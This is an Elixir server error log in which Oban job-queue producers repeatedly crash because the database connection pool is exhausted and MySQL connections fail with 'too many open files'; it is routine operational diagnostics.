State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:12:26.248118Z], limit: 5, uuid: "40db9f24-196f-4ded-b2d7-171364525f5c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:26.248123Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164913>, refresh_timer: #Reference<0.2525715032.1099431938.51097>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:12:26.244709Z], limit: 10, uuid: "a22ca369-4f4c-4e5a-82f3-1c56eb662664", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:26.244714Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164912>, refresh_timer: #Reference<0.2525715032.1121189889.164901>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:12:26.243511Z], limit: 20, uuid: "bd42adbd-9bc1-492a-8b09-523b5db9d333", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:26.243516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.164911>, refresh_timer: #Reference<0.2525715032.1121189889.164881>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:12:26.244753Z], limit: 5, uuid: "ae3d9b55-9f1a-4b37-a3eb-a89cf5430660", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:26.244758Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.27590>, refresh_timer: #Reference<0.2525715032.1121189889.164903>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:12:26.242418Z], limit: 50, uuid: "6df831dc-e167-4500-8852-c005c571f053", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:26.242425Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.27588>, refresh_timer: #Reference<0.2525715032.1077673987.27566>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:38.830000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:41.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:43.236000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:44.934000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:48.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:50.140000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:12:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:12:38.240065Z], limit: 10, uuid: "ff5dbd0f-b237-4e78-885b-a2835081461e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:38.240071Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51334>, refresh_timer: #Reference<0.2525715032.1099431938.51308>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:12:38.239503Z], limit: 3, uuid: "c5932141-60f0-4049-be09-aef05a51c4a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:38.239509Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.165238>, refresh_timer: #Reference<0.2525715032.1099431938.51284>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:12:38.240186Z], limit: 5, uuid: "5303c33b-3fb5-4350-bb4f-9221bbbe4a5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:38.240193Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.50700>, refresh_timer: #Reference<0.2525715032.1068498948.50692>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:50.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:12:38.239628Z], limit: 5, uuid: "829d617f-86ad-4125-9f12-31879ad50278", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:12:38.239634Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.51335>, refresh_timer: #Reference<0.2525715032.1099431938.51290>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:12:50.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
